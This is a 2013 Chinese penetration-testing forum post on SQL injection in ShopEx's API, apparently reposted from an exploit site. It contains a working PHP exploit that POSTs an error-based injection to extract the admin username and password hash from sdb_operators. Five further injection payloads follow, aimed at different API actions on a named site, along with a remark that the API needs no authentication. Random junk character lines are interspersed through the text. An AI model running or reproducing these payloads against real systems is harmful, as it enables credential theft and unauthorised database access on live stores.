中国网络渗透测试联盟
标题:
shopEx最新版的API注入漏洞分析附利用exp
[打印本页]
作者:
admin
时间:
2013-7-27 18:34
标题:
shopEx最新版的API注入漏洞分析附利用exp
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
+ ~9 y' U- t w$ c' X
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
3 G" @6 u/ U* r k0 K
- G! z2 j- j3 w5 Z2 T" x; S3 t
第44行 $data['columns'] 未做过滤导致注入
' v. T- m4 D! J% ^2 u
1 r. i5 p7 c) K/ H2 [* J2 I% D
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
+ l P9 E. S9 d' o9 `
G7 L9 K$ _7 ?4 f. j1 M7 E
注射1:
! w9 Y$ f9 E. n1 w; ?
, a# I) L, w" `; t% H
http://www.0day5.com/api.php
POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
1 y4 r8 m4 A5 R X: H! S, N( [7 K
; P' C( ]" Z: d- y: a( m1 A
注射2:
) O5 A' b6 o- T2 T! l) J. ]
http://www.0day5.com/shopex/api.php
act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
9 j2 o5 L3 M s6 C4 S. Z+ H
+ d* o- v, g; }6 B& q, {6 D" ~. E
注射3:
( N, ~/ L/ g0 j+ [! [# |
http://www.0day5.com/shopex/api.php
act=get_spec_single&api_version=3.1&spec_id=1 xxx
- T5 X9 a4 j- B0 [5 T# h+ B
注射4:
; s% l4 `; \+ m8 J; q# B; {% g( F+ n
# X+ k" c6 Q- Q) a' C D4 D
http://www.0day5.com/shopex/api.php
act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
/ ^' _" A7 |' g; }
, k% T' @2 L2 _/ b
( z3 w8 }8 H, u9 @: n! ]* g7 s
注射5:
8 e" v- o8 L0 `6 @; H
http://www.0day5.com/shopex/api.php
act=search_dly_h_area&return_data=string&columns=xxxxx
- r5 Q) U% }# L* s5 k b4 A
" V) h v6 w# q$ g
- m; a$ n A) u; m4 A
& i6 w. x/ o. E" X+ F8 u8 Z
* U* g- s' ^ ^* T3 x/ {; B1 L
/ Y8 k# X# D8 x4 w+ Z/ m# e
& N+ m4 n' i$ q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2